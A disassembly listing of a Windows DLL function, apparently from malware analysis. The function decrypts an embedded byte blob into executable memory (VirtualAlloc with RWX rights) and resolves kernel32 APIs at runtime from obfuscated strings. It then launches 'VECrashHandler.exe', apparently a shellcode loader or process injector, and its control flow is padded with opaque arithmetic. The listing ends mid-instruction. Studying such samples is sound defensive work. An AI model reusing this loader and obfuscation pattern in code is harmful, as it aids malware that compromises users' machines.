Function at 0x1800014d3
Capabilities:
Execute shellcode via indirect call
Link many functions at runtime

Disassembly:
jmp 0x180007910
push rsi
push rdi
mov eax, 0x8c18
call fcn.180001122
sub rsp, rax
lea rdi, [rsp + 0x50]
mov ecx, 0x22f2
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x18003c038]
xor rax, rsp
mov qword [rsp + 0x8c00], rax
lea rcx, [rsp + 0x89f0]
call fcn.18000132a
mov qword [rsp + 0x8a50], rax
mov byte [rsp + 0x90], 0x56
mov byte [rsp + 0x91], 0xfd
mov byte [rsp + 0x92], 0x53
mov byte [rsp + 0x93], 0x38
mov byte [rsp + 0x94], 0x79
mov byte [rsp + 0x95], 0x32
mov byte [rsp + 0x96], 0xb0
mov byte [rsp + 0x97], 0xe3
mov byte [rsp + 0x98], 0x6f
mov byte [rsp + 0x99], 0x8c
mov byte [rsp + 0x9a], 0x12
mov byte [rsp + 0x9b], 1
mov byte [rsp + 0x9c], 0x75
mov byte [rsp + 0x9d], 0xaf
mov byte [rsp + 0x9e], 0x7d
mov byte [rsp + 0x9f], 0x77
mov byte [rsp + 0xa0], 0x20
mov byte [rsp + 0xa1], 0x80
mov byte [rsp + 0xa2], 0x50
mov byte [rsp + 0xa3], 0xe7
mov byte [rsp + 0xa4], 0x8d
mov byte [rsp + 0xa5], 0x2c
mov byte [rsp + 0xa6], 0x82
mov byte [rsp + 0xa7], 0x4f
mov byte [rsp + 0xa8], 0x44
mov byte [rsp + 0xa9], 0x88
mov byte [rsp + 0xaa], 0x92
mov byte [rsp + 0xab], 0xef
mov byte [rsp + 0xac], 0x5b
mov byte [rsp + 0xad], 0x79
mov byte [rsp + 0xae], 0x64
mov byte [rsp + 0xaf], 0x10
mov byte [rsp + 0xb0], 0xb9
mov byte [rsp + 0xb1], 0x1b
mov byte [rsp + 0xb2], 0xbf
mov byte [rsp + 0xb3], 0x26
mov byte [rsp + 0xb4], 0x53
mov byte [rsp + 0xb5], 0x36
mov byte [rsp + 0xb6], 0xab
mov byte [rsp + 0xb7], 0x56
mov byte [rsp + 0xb8], 0xe8
mov byte [rsp + 0xb9], 0xb2
mov byte [rsp + 0xba], 0x10
mov byte [rsp + 0xbb], 0x61
mov byte [rsp + 0xbc], 0xaa
mov byte [rsp + 0xbd], 0x78
mov byte [rsp + 0xbe], 9
mov byte [rsp + 0xbf], 0xfe
mov byte [rsp + 0xc0], 0x50
mov byte [rsp + 0xc1], 0xb8
mov byte [rsp + 0xc2], 0x2a
mov byte [rsp + 0xc3], 0xb2
mov byte [rsp + 0xc4], 0x81
mov byte [rsp + 0xc5], 0xeb
mov byte [rsp + 0xc6], 0xef
mov byte [rsp + 0xc7], 0xec
mov byte [rsp + 0xc8], 0x5c
mov byte [rsp + 0xc9], 0xba
mov byte [rsp + 0xca], 2
mov byte [rsp + 0xcb], 0x2f
mov byte [rsp + 0xcc], 0xd
mov byte [rsp + 0xcd], 0x6a
mov byte [rsp + 0xce], 0x91
mov byte [rsp + 0xcf], 0xb5
mov byte [rsp + 0xd0], 0x9f
mov byte [rsp + 0xd1], 0x6d
mov byte [rsp + 0xd2], 0xff
mov byte [rsp + 0xd3], 9
mov byte [rsp + 0xd4], 0x7e
mov byte [rsp + 0xd5], 0x4c
mov byte [rsp + 0xd6], 0x8a
mov byte [rsp + 0xd7], 0x9c
mov byte [rsp + 0xd8], 0x4b
mov byte [rsp + 0xd9], 0x38
mov byte [rsp + 0xda], 0x34
mov byte [rsp + 0xdb], 0x5e
mov byte [rsp + 0xdc], 0x31
mov byte [rsp + 0xdd], 0xcd
mov byte [rsp + 0xde], 0x87
mov byte [rsp + 0xdf], 0x57
mov byte [rsp + 0xe0], 0x6b
mov byte [rsp + 0xe1], 0xe1
mov byte [rsp + 0xe2], 0xeb
mov byte [rsp + 0xe3], 0x3f
mov byte [rsp + 0xe4], 0x2a
mov byte [rsp + 0xe5], 0xf0
mov byte [rsp + 0xe6], 0xb3
mov byte [rsp + 0xe7], 0xd9
mov byte [rsp + 0xe8], 0x60
mov byte [rsp + 0xe9], 0x27
mov byte [rsp + 0xea], 0x85
mov byte [rsp + 0xeb], 0xb8
mov byte [rsp + 0xec], 0xa8
mov byte [rsp + 0xed], 0x4d
mov byte [rsp + 0xee], 0x24
mov byte [rsp + 0xef], 0xf0
mov byte [rsp + 0xf0], 0x4c
mov byte [rsp + 0xf1], 0x2b
mov byte [rsp + 0xf2], 0x30
mov byte [rsp + 0xf3], 0x9e
mov byte [rsp + 0xf4], 0x6f
mov byte [rsp + 0xf5], 0x13
mov byte [rsp + 0xf6], 0x6e
mov byte [rsp + 0xf7], 0xe
mov byte [rsp + 0xf8], 0x70
mov byte [rsp + 0xf9], 0x43
mov byte [rsp + 0xfa], 0xa6
mov byte [rsp + 0xfb], 0x43
mov byte [rsp + 0xfc], 0x25
mov byte [rsp + 0xfd], 0x13
mov byte [rsp + 0xfe], 0x91
mov byte [rsp + 0xff], 0x4a
mov byte [rsp + 0x100], 0xfb
mov byte [rsp + 0x101], 0xc5
mov byte [rsp + 0x102], 0x55
mov byte [rsp + 0x103], 0x57
mov byte [rsp + 0x104], 0xdd
mov byte [rsp + 0x105], 0xfd
mov byte [rsp + 0x106], 0xc
mov byte [rsp + 0x107], 0xfd
mov byte [rsp + 0x108], 0x47
mov byte [rsp + 0x109], 0x51
mov byte [rsp + 0x10a], 0x3c
mov byte [rsp + 0x10b], 0xee
mov byte [rsp + 0x10c], 0xfa
mov byte [rsp + 0x10d], 0x26
mov byte [rsp + 0x10e], 0xab
mov byte [rsp + 0x10f], 0x98
mov byte [rsp + 0x110], 0xb7
mov byte [rsp + 0x111], 0x9a
mov byte [rsp + 0x112], 0x24
mov byte [rsp + 0x113], 0x75
mov byte [rsp + 0x114], 0x74
mov byte [rsp + 0x115], 0x12
mov byte [rsp + 0x116], 0xb7
mov byte [rsp + 0x117], 0xdd
mov byte [rsp + 0x118], 0xe8
mov byte [rsp + 0x119], 0x8f
mov byte [rsp + 0x11a], 0xb1
mov byte [rsp + 0x11b], 0x3a
mov byte [rsp + 0x11c], 0xa
mov byte [rsp + 0x11d], 0xd1
mov byte [rsp + 0x11e], 0x8e
mov byte [rsp + 0x11f], 6
mov byte [rsp + 0x120], 0xca
mov byte [rsp + 0x121], 0xd9
mov byte [rsp + 0x122], 0x48
mov byte [rsp + 0x123], 0x63
mov byte [rsp + 0x124], 0xa9
mov byte [rsp + 0x125], 0xd5
mov byte [rsp + 0x126], 0xfc
mov byte [rsp + 0x127], 0x9d
mov byte [rsp + 0x128], 0x7b
mov byte [rsp + 0x129], 0xcd
mov byte [rsp + 0x12a], 0x91
mov byte [rsp + 0x12b], 0x62
mov byte [rsp + 0x12c], 0x9a
mov byte [rsp + 0x12d], 0x7a
mov byte [rsp + 0x12e], 0xb6
mov byte [rsp + 0x12f], 0xcd
mov byte [rsp + 0x130], 0x86
mov byte [rsp + 0x131], 0x13
mov byte [rsp + 0x132], 0x1a
mov byte [rsp + 0x133], 0x16
mov byte [rsp + 0x134], 2
mov byte [rsp + 0x135], 4
mov byte [rsp + 0x136], 0x29
mov byte [rsp + 0x137], 0xa6
mov byte [rsp + 0x138], 0xde
mov byte [rsp + 0x139], 0x9b
mov byte [rsp + 0x13a], 0xca
mov byte [rsp + 0x13b], 0xc3
mov byte [rsp + 0x13c], 0x97
mov byte [rsp + 0x13d], 0x2a
mov byte [rsp + 0x13e], 0x95
mov byte [rsp + 0x13f], 0x99
mov byte [rsp + 0x140], 0xc9
mov byte [rsp + 0x141], 0x3e
mov byte [rsp + 0x142], 0x61
mov byte [rsp + 0x143], 0x1f
mov byte [rsp + 0x144], 0x97
mov byte [rsp + 0x145], 0x10
mov byte [rsp + 0x146], 0x6f
mov byte [rsp + 0x147], 0x3a
mov byte [rsp + 0x148], 0xbe
mov byte [rsp + 0x149], 0xed
mov byte [rsp + 0x14a], 0x28
mov byte [rsp + 0x14b], 0x90
mov byte [rsp + 0x14c], 0xa6
mov byte [rsp + 0x14d], 0x54
mov byte [rsp + 0x14e], 0x93
mov byte [rsp + 0x14f], 0xea
mov byte [rsp + 0x150], 0xc2
mov byte [rsp + 0x151], 0xb5
mov byte [rsp + 0x152], 0xe3
mov byte [rsp + 0x153], 0xb0
mov byte [rsp + 0x154], 0xcc
mov byte [rsp + 0x155], 0xb7
mov byte [rsp + 0x156], 0x52
mov byte [rsp + 0x157], 0x88
mov byte [rsp + 0x158], 0xa3
mov byte [rsp + 0x159], 0xc5
mov byte [rsp + 0x15a], 0xea
mov byte [rsp + 0x15b], 0x31
mov byte [rsp + 0x15c], 0xad
mov byte [rsp + 0x15d], 0x42
mov byte [rsp + 0x15e], 0x43
mov byte [rsp + 0x15f], 0xbc
mov byte [rsp + 0x160], 0x10
mov byte [rsp + 0x161], 0xb8
mov byte [rsp + 0x162], 0x1e
mov byte [rsp + 0x163], 0xa2
mov byte [rsp + 0x164], 0x24
mov byte [rsp + 0x165], 0x1f
mov byte [rsp + 0x166], 0xc7
mov byte [rsp + 0x167], 0x8c
mov byte [rsp + 0x168], 0x25
mov byte [rsp + 0x169], 0xd9
mov byte [rsp + 0x16a], 0x15
mov byte [rsp + 0x16b], 0x56
mov byte [rsp + 0x16c], 0xbf
mov byte [rsp + 0x16d], 0x4a
mov byte [rsp + 0x16e], 0xcb
mov byte [rsp + 0x16f], 0xc2
mov byte [rsp + 0x170], 0x86
mov byte [rsp + 0x171], 0x62
mov byte [rsp + 0x172], 0x95
mov byte [rsp + 0x173], 0x76
mov byte [rsp + 0x174], 0xd9
mov byte [rsp + 0x175], 0x18
mov byte [rsp + 0x176], 0x76
mov byte [rsp + 0x177], 0xd6
mov byte [rsp + 0x178], 0xa
mov byte [rsp + 0x179], 0xd4
mov byte [rsp + 0x17a], 0x67
mov byte [rsp + 0x17b], 0x5a
mov byte [rsp + 0x17c], 0x40
mov byte [rsp + 0x17d], 0xf0
mov byte [rsp + 0x17e], 0xbf
mov byte [rsp + 0x17f], 0x29
mov byte [rsp + 0x180], 0x2a
mov byte [rsp + 0x181], 0xb6
mov byte [rsp + 0x182], 0x6c
mov byte [rsp + 0x183], 0x21
mov byte [rsp + 0x184], 0xf5
mov byte [rsp + 0x185], 0xab
mov byte [rsp + 0x186], 0xf9
mov byte [rsp + 0x187], 0xee
mov byte [rsp + 0x188], 0x51
mov byte [rsp + 0x189], 0x72
mov byte [rsp + 0x18a], 0x69
mov byte [rsp + 0x18b], 0x8e
mov byte [rsp + 0x18c], 0x75
mov byte [rsp + 0x18d], 0xec
mov byte [rsp + 0x18e], 0x82
mov byte [rsp + 0x18f], 0x34
mov byte [rsp + 0x190], 0x5c
mov byte [rsp + 0x191], 0xc0
mov byte [rsp + 0x192], 0xff
mov byte [rsp + 0x193], 0xb5
mov byte [rsp + 0x194], 0x39
mov byte [rsp + 0x195], 0x9b
mov byte [rsp + 0x196], 0xa0
mov byte [rsp + 0x197], 0x30
mov byte [rsp + 0x198], 0xa1
mov byte [rsp + 0x199], 0x28
mov byte [rsp + 0x19a], 0x4e
mov byte [rsp + 0x19b], 0x1c
mov byte [rsp + 0x19c], 0x84
mov byte [rsp + 0x19d], 0x93
mov byte [rsp + 0x19e], 0xee
mov byte [rsp + 0x19f], 0xf9
mov byte [rsp + 0x1a0], 0xa1
mov byte [rsp + 0x1a1], 0xf7
mov byte [rsp + 0x1a2], 0xba
mov byte [rsp + 0x1a3], 0x93
mov byte [rsp + 0x1a4], 0x13
mov byte [rsp + 0x1a5], 0x17
mov byte [rsp + 0x1a6], 0x94
mov byte [rsp + 0x1a7], 0x4f
mov byte [rsp + 0x1a8], 0xfe
mov byte [rsp + 0x1a9], 0x5a
mov byte [rsp + 0x1aa], 0xa6
mov byte [rsp + 0x1ab], 0x6e
mov byte [rsp + 0x1ac], 0x41
mov byte [rsp + 0x1ad], 0xc3
mov byte [rsp + 0x1ae], 0xde
mov byte [rsp + 0x1af], 0xd7
mov byte [rsp + 0x1b0], 0x5f
mov byte [rsp + 0x1b1], 0x63
mov byte [rsp + 0x1b2], 0xb
mov byte [rsp + 0x1b3], 0xbd
mov byte [rsp + 0x1b4], 0xaf
mov byte [rsp + 0x1b5], 0xfc
mov byte [rsp + 0x1b6], 0xe5
mov byte [rsp + 0x1b7], 0x42
mov byte [rsp + 0x1b8], 0x11
mov byte [rsp + 0x1b9], 0xf5
mov byte [rsp + 0x1ba], 0xf8
mov byte [rsp + 0x1bb], 0x4e
mov byte [rsp + 0x1bc], 0x2f
mov byte [rsp + 0x1bd], 0x23
mov byte [rsp + 0x1be], 0x6b
mov byte [rsp + 0x1bf], 0x7b
lea rax, [rsp + 0x1c0]
mov r8, rax
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x89f8]
call fcn.1800012f3
lea rcx, [rsp + 0x8a08]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x8a40]
lea rcx, [rsp + 0x8a08]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x10
rep movsb byte [rdi], byte [rsi]
mov r8, qword [rsp + 0x8a50]
lea rdx, [rsp + 0x8a40]
lea rcx, [rsp + 0x58]
call fcn.18000152d
nop
mov dword [rsp + 0x1d0], 3
lea rcx, [rsp + 0x1e8]
call fcn.1800016ae
nop
lea rax, [rsp + 0x8a18]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x248]
lea rcx, [rsp + 0x8a18]
call fcn.1800094b0
mov qword [rsp + 0x8a58], rax
mov rcx, qword [rsp + 0x8a58]
call fcn.180001082
mov qword [rsp + 0x8a60], rax
mov rdx, qword [rsp + 0x8a60]
lea rcx, [rsp + 0x218]
call fcn.18000156e
mov qword [rsp + 0x8a68], rax
lea rax, [rsp + 0x8a19]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0x8a19]
call fcn.1800095a0
mov qword [rsp + 0x8a70], rax
mov rcx, qword [rsp + 0x8a70]
call fcn.1800010fa
mov qword [rsp + 0x8a78], rax
mov rdx, qword [rsp + 0x8a78]
lea rcx, [rsp + 0x268]
call fcn.18000156e
mov qword [rsp + 0x8a80], rax
lea rax, [rsp + 0x8a1a]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rdx, [rsp + 0x2e8]
lea rcx, [rsp + 0x8a1a]
call fcn.180009690
mov qword [rsp + 0x8a88], rax
mov rcx, qword [rsp + 0x8a88]
call fcn.18000151e
mov qword [rsp + 0x8a90], rax
mov rdx, qword [rsp + 0x8a90]
lea rcx, [rsp + 0x2b8]
call fcn.18000156e
mov qword [rsp + 0x8a98], rax
lea r9, [rsp + 0x2b8]
lea r8, [rsp + 0x268]
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x308]
call fcn.18000167c
mov qword [rsp + 0x8aa0], rax
lea rcx, [rsp + 0x348]
call fcn.180001488
nop
lea r8, [rsp + 0x348]
lea rdx, [rsp + 0x218]
lea rcx, [rsp + 0x308]
call fcn.1800014e2
lea rcx, [rsp + 0x348]
call fcn.1800012d5
mov rcx, rax
call fcn.1800012e9
mov qword [rsp + 0x8aa8], rax
mov rax, qword [rsp + 0x8aa8]
mov qword [rsp + 0x8a20], rax
mov rax, qword [rsp + 0x8a20]
mov qword [rsp + 0x378], rax
mov dword [rsp + 0x380], 0
jmp 0x180008536
mov eax, dword [rsp + 0x380]
inc eax
mov dword [rsp + 0x380], eax
call fcn.180003770
mov byte [rsp + 0x8ab0], al
call fcn.180003740
mov byte [rsp + 0x8ab1], al
call fcn.180003730
mov byte [rsp + 0x8ab2], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8ab4], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8ab2]
movsx edi, byte [rsp + 0x8ab1]
shl edi, 3
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8ab0]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8ab8], edx
xor edx, edx
mov edi, dword [rsp + 0x8ab8]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8ab4]
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.180003790
mov dword [rsp + 0x8abc], eax
mov eax, dword [rsp + 0x8abc]
cmp dword [rsp + 0x380], eax
jge 0x180008657
mov qword [rsp + 0x388], 0
jmp 0x180008609
mov rax, qword [rsp + 0x388]
inc rax
mov qword [rsp + 0x388], rax
lea rcx, [rsp + 0x348]
call fcn.1800012d5
cmp qword [rsp + 0x388], rax
jae 0x180008652
mov rdx, qword [rsp + 0x388]
lea rcx, [rsp + 0x348]
call fcn.180001686
mov rcx, qword [rsp + 0x388]
mov rdx, qword [rsp + 0x378]
add rdx, rcx
mov rcx, rdx
movzx eax, byte [rax]
mov byte [rcx], al
jmp 0x1800085f6
jmp 0x180008526
lea rcx, [rsp + 0x348]
call fcn.1800012d5
mov r8, rax
mov rdx, qword [rsp + 0x378]
lea rcx, [rsp + 0x3a0]
call fcn.1800010f0
mov rax, qword [rsp + 0x378]
mov qword [rsp + 0x8a28], rax
mov rcx, qword [rsp + 0x8a28]
call fcn.180001339
mov qword [rsp + 0x83a8], 0x7fff
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, qword [rsp + 0x83a8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x83b0], rax
mov r8, qword [rsp + 0x83a8]
lea rdx, [rsp + 0x3a0]
mov rcx, qword [rsp + 0x83b0]
call fcn.1800010f0
lea rax, [rsp + 0x83c8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x8400]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0x8400]
call sub.VCRUNTIME140D.dll_memset
mov dword [rsp + 0x8400], 0x44
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x8968], rax
lea rcx, [0x18003c4c0]
call fcn.180001401
mov qword [rsp + 0x8ac0], rax
mov rdx, qword [rsp + 0x8ac0]
mov rcx, qword [rsp + 0x8968]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x8970], rax
lea rcx, [0x18003c4e8]
call fcn.18000163b
mov qword [rsp + 0x8ac8], rax
mov rdx, qword [rsp + 0x8ac8]
mov rcx, qword [rsp + 0x8968]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x8978], rax
lea rcx, [0x18003c4a8]
call fcn.180001091
mov qword [rsp + 0x8ad0], rax
mov rdx, qword [rsp + 0x8ad0]
mov rcx, qword [rsp + 0x8968]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x8980], rax
lea rcx, [0x18003c4f8]
call fcn.1800016b3
mov qword [rsp + 0x8ad8], rax
mov rdx, qword [rsp + 0x8ad8]
mov rcx, qword [rsp + 0x8968]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x8988], rax
lea rcx, [0x18003c4d0]
call fcn.180001622
mov qword [rsp + 0x8ae0], rax
mov rdx, qword [rsp + 0x8ae0]
mov rcx, qword [rsp + 0x8968]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x8990], rax
lea rcx, [0x18003c510]
call fcn.1800013d4
mov qword [rsp + 0x8ae8], rax
mov rdx, qword [rsp + 0x8ae8]
mov rcx, qword [rsp + 0x8968]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x8998], rax
lea rcx, [0x18003c520]
call fcn.1800015fa
mov qword [rsp + 0x8af0], rax
mov rdx, qword [rsp + 0x8af0]
mov rcx, qword [rsp + 0x8968]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x89a0], rax
mov rax, qword [rsp + 0x8970]
mov qword [rsp + 0x8af8], rax
lea rax, [rsp + 0x83c8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x8400]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.VECrashHandler.exe
xor ecx, ecx
call qword [rsp + 0x8af8]
mov dword [rsp + 0x8b00], eax
mov eax, dword [rsp + 0x8b00]
mov dword [rsp + 0x89a8], eax
mov dword [rsp + 0x89ac], 0
movsd xmm0, qword [0x1800247c8]
call fcn.180003790
mov dword [rsp + 0x8b04], eax
call fcn.180003770
mov byte [rsp + 0x8b08], al
call fcn.180003740
mov byte [rsp + 0x8b09], al
call fcn.180003730
mov byte [rsp + 0x8b0a], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8b0c], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b0a]
movsx edi, byte [rsp + 0x8b09]
imul edi, edi, 9
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8b08]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8b10], edx
xor edx, edx
mov edi, dword [rsp + 0x8b10]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8b0c]
sub eax, ecx
mov ecx, dword [rsp + 0x8b04]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x1800092fe
xor eax, eax
cmp eax, 4
je 0x1800092fe
movsxd rax, dword [rsp + 0x89ac]
cvtsi2sd xmm0, rax
call fcn.180003790
mov dword [rsp + 0x8b14], eax
call fcn.180003770
mov byte [rsp + 0x8b18], al
call fcn.180003740
mov byte [rsp + 0x8b19], al
call fcn.180003730
mov byte [rsp + 0x8b1a], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8b1c], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b1a]
movsx edi, byte [rsp + 0x8b19]
imul edi, edi, 5
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8b18]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8b20], edx
xor edx, edx
mov edi, dword [rsp + 0x8b20]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8b1c]
sub eax, ecx
mov ecx, dword [rsp + 0x8b14]
imul ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b24], eax
cmp dword [rsp + 0x8b24], 0
je 0x180008ad9
cmp dword [rsp + 0x8b24], 1
je 0x180009006
cmp dword [rsp + 0x8b24], 2
je 0x18000916b
cmp dword [rsp + 0x8b24], 3
je 0x180009180
jmp 0x1800092f9
call fcn.180003770
mov byte [rsp + 0x8b28], al
call fcn.180003740
mov byte [rsp + 0x8b29], al
call fcn.180003730
mov byte [rsp + 0x8b2a], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8b2c], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b2a]
movsx edi, byte [rsp + 0x8b29]
imul edi, edi, 0xa
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8b28]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8b30], edx
xor edx, edx
mov edi, dword [rsp + 0x8b30]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8b2c]
sub eax, ecx
test eax, eax
je 0x180009001
movsxd rax, dword [rsp + 0x89a8]
cvtsi2sd xmm0, rax
call fcn.180003790
mov dword [rsp + 0x8b34], eax
call fcn.180003770
mov byte [rsp + 0x8b38], al
call fcn.180003740
mov byte [rsp + 0x8b39], al
call fcn.180003730
mov byte [rsp + 0x8b3a], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8b3c], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b3a]
movsx edi, byte [rsp + 0x8b39]
imul edi, edi, 5
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8b38]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8b40], edx
xor edx, edx
mov edi, dword [rsp + 0x8b40]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8b3c]
sub eax, ecx
mov ecx, dword [rsp + 0x8b34]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x180008c3f
xor eax, eax
cmp eax, 6
je 0x180008c3f
mov dword [rsp + 0x89ac], 1
jmp 0x180009001
call fcn.180003770
mov byte [rsp + 0x8b44], al
call fcn.180003740
mov byte [rsp + 0x8b45], al
call fcn.180003730
mov byte [rsp + 0x8b46], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8b48], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b46]
movsx edi, byte [rsp + 0x8b45]
shl edi, 2
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8b44]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8b4c], edx
xor edx, edx
mov edi, dword [rsp + 0x8b4c]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8b48]
sub eax, ecx
test eax, eax
je 0x180009001
call fcn.180003760
mov byte [rsp + 0x8b50], al
call fcn.180003750
mov byte [rsp + 0x8b51], al
call fcn.180003780
mov byte [rsp + 0x8b52], al
movsx eax, byte [rsp + 0x8b52]
movzx ecx, byte [0x18003c4bc]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b51]
imul edx, edx, 3
imul edx, ecx
mov ecx, edx
movsx edx, byte [rsp + 0x8b50]
movzx edi, byte [0x18003c012]
movsx edi, dil
add edi, edx
mov edx, edi
add edx, ecx
mov ecx, edx
sub ecx, eax
mov eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.180003790
mov dword [rsp + 0x8b54], eax
call fcn.180003770
mov byte [rsp + 0x8b58], al
call fcn.180003740
mov byte [rsp + 0x8b59], al
call fcn.180003730
mov byte [rsp + 0x8b5a], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8b5c], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b5a]
movsx edi, byte [rsp + 0x8b59]
imul edi, edi, 9
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8b58]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8b60], edx
xor edx, edx
mov edi, dword [rsp + 0x8b60]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8b5c]
sub eax, ecx
mov ecx, dword [rsp + 0x8b54]
imul ecx, eax
mov eax, ecx
test eax, eax
je 0x180008ff6
xor eax, eax
cmp eax, 0xa
je 0x180008ff6
movsd xmm0, qword [0x1800247c8]
call fcn.180003790
call fcn.180003770
mov byte [rsp + 0x8b64], al
call fcn.180003740
mov byte [rsp + 0x8b65], al
call fcn.180003730
mov byte [rsp + 0x8b66], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8b68], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b66]
movsx edi, byte [rsp + 0x8b65]
shl edi, 1
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8b64]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8b6c], edx
xor edx, edx
mov edi, dword [rsp + 0x8b6c]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8b68]
sub eax, ecx
test eax, eax
je 0x180008ff4
call fcn.180003770
mov byte [rsp + 0x8b70], al
call fcn.180003740
mov byte [rsp + 0x8b71], al
call fcn.180003730
mov byte [rsp + 0x8b72], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8b74], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b72]
movsx edi, byte [rsp + 0x8b71]
imul edi, edi, 7
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8b70]
movzx esi, byte [0x18003c015]
movsx esi, sil
add esi, edi
mov edi, esi
add edi, edx
mov edx, edi
mov dword [rsp + 0x8b78], edx
xor edx, edx
mov edi, dword [rsp + 0x8b78]
mov eax, edi
div ecx
mov ecx, dword [rsp + 0x8b74]
sub eax, ecx
mov eax, eax
cvtsi2sd xmm0, rax
call fcn.180003790
mov dword [rsp + 0x8b7c], eax
call fcn.180003770
mov byte [rsp + 0x8b80], al
call fcn.180003740
mov byte [rsp + 0x8b81], al
call fcn.180003730
mov byte [rsp + 0x8b82], al
movzx eax, byte [0x18003c011]
movsx eax, al
mov dword [rsp + 0x8b84], eax
movzx ecx, byte [0x18003c014]
movsx ecx, cl
movsx edx, byte [rsp + 0x8b82]
movsx edi, byte [rsp + 0x8b81]
imul edi, edi, 3
imul edi, edx
mov edx, edi
movsx edi, byte [rsp + 0x8b80]
movzx esi, byte [0x18003c015]
